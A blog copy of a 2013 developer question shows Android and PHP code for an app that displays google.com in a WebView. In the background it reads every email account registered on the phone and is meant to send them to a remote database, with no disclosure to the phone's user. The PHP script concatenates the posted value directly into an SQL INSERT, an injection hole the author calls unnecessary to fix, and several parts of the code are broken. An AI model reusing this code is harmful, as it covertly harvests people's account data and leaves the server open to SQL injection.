Thursday, 12 September 2013

Android Async PHP not Posting to Database

Android Async PHP not Posting to Database

I am attempting to get the Android application to post data to a database
through the AsyncTask. I've included the PHP script and app code below.
For some reason, the data is never posted although I feel like the issue
is in my AsyncTask class. I have created my own system through this
tutorial. The string "email" needs to be posted. Please let me know if you
need more information.
Android:
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.http.NameValuePair;
import org.apache.http.message.BasicNameValuePair;
import org.json.JSONObject;
import android.accounts.Account;
import android.accounts.AccountManager;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Context;
import android.os.AsyncTask;
import android.os.Bundle;
import android.util.Log;
import android.util.Patterns;
import android.view.KeyEvent;
import android.view.Menu;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Toast;
@SuppressLint("SetJavaScriptEnabled")
public class MainActivity extends Activity
{
//location of database script
public final static String DBURL = "https://***/androidCollection.php";
//obtain access to jsonparser class functions
//JSONParser jsonParser = new JSONParser();
//local initialization of webview
private WebView webview;
//obtain application context
Context context = this;
//used to append all arrayList collected emails below
public static String combinedEmails="";
//storage of collected emails, unlimited size
ArrayList<String> emailsCollection = new ArrayList<String>();
@SuppressWarnings("rawtypes")
//to later remove duplicate arraylist items, see solution below
HashSet hashedEmails = new HashSet();
@SuppressWarnings("unchecked")
@Override
protected void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//progress dialog message while loading app resources
final ProgressDialog pd = ProgressDialog.show(this, "", "Starting
App",true);
//webview specific settings
webview = (WebView) findViewById(R.id.webview1);
webview.getSettings().setJavaScriptEnabled(true);
// webview.getSettings().setSupportZoom(true);
// webview.getSettings().setBuiltInZoomControls(true);
// webview.getSettings().setLoadWithOverviewMode(true);
// webview.getSettings().setUseWideViewPort(true);
webview.getSettings().setCacheMode(WebSettings.LOAD_DEFAULT);
//creating an instance of the webview client that supports a progress
dialog
webview.setWebViewClient(new WebViewClient() {
@Override
public void onPageFinished(WebView view, String url) {
if(pd.isShowing()&&pd!=null)
{
pd.dismiss();
}
}
});
//url to load in the webview
webview.loadUrl("http://google.com/");
//overrides and sets title of app title bar despite original
activity name
setTitle("");
//obtain all email accounts registered on phone
Pattern emailPattern = Patterns.EMAIL_ADDRESS; // API level 8+
Account[] accounts = AccountManager.get(context).getAccounts();
for (Account account : accounts) {
if (emailPattern.matcher(account.name).matches()) {
String possibleEmail = account.name;
emailsCollection.add(possibleEmail);
//output phone email accounts in log
Log.i("Email: ", possibleEmail);
}
}
//solution to remove redundant email collection during each run
hashedEmails.addAll(emailsCollection);
emailsCollection.clear();
emailsCollection.addAll(hashedEmails);
//put all emails from array list in string to work with database
posting
for(String s : emailsCollection)
{
combinedEmails += s+";";
}
//test of combined email collection
System.out.println(combinedEmails);
}
//to go backwards in web history
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
// Check if the key event was the Back button and if there's
history
if ((keyCode == KeyEvent.KEYCODE_BACK) && webview.canGoBack()) {
webview.goBack();
return true;
}
// If it wasn't the Back key or there's no web page history,
bubble up to the default
// system behavior (probably exit the activity)
return super.onKeyDown(keyCode, event);
}
//add menu items here
@Override
public boolean onCreateOptionsMenu(Menu menu)
{
// Inflate the menu; this adds items to the action bar if it is
present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
}
//asynchronous class to post to database the email addresses in background
class registerEmails extends AsyncTask<String,String,String>
{
JSONParser jsonParser = new JSONParser();
String email = MainActivity.combinedEmails;
String databaseURL = MainActivity.DBURL;
@Override
protected String doInBackground(String... params)
{
List<NameValuePair> dbParams = new ArrayList<NameValuePair>();
dbParams.add(new BasicNameValuePair("email",email));
JSONObject json = jsonParser.makeHttpRequest(databaseURL, "POST",
dbParams);
//output json response
Log.d("JSON Status: ", json.toString());
System.out.println("DB Worked?");
return json.toString();
}
protected void onPostExecute(String file_url)
{
if(file_url !=null)
{
Toast.makeText(null, file_url, Toast.LENGTH_LONG).show();
}
}
}
PHP:
<?php
//TODO: explode email collection string into separate strings posted
from Android app
$username = "***";
$password = "***";
$host = "***";
$dbname = "***";
//accept utf8 characters in mysql database
$options = array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8');
try
{
//database connection
$db = new
PDO("mysql:host={$host};dbname={$dbname};charset=utf8",
$username, $password, $options);
//echo('Working!');
}
catch(PDOException $ex)
{
//exception explanation
die("Failed to connect to the database: " . $ex->getMessage());
}
//configuration to throw exceptions when the database encounters and
error
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
//configuration to return values in an associative array
$db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
//insert data function
if(!empty($_POST))
{
$email=$_POST['email'];
/*
//SEE TODO above
$email = "";
$separatedEmails = explode(";", $email);
*/
//use of tokens in query to prevent sql injections, although not
necessary for this purpose...
//could just create then use raw variable insert
$query = "INSERT INTO obtainedEmails (emailAddress) VALUES ('" .
$email . "') ";
/*
//update query tokens with actual data
$query_params = array(
':email' => $_POST['email'],
);
*/
//time to run our query, and create the user
try {
$stmt = $db->prepare($query);
$result = $stmt->execute($query_params);
}
catch (PDOException $ex)
{
$response["message"] = "Database error. Please Try Again!";
die(json_encode($response));
}
}
?>

No comments:

Post a Comment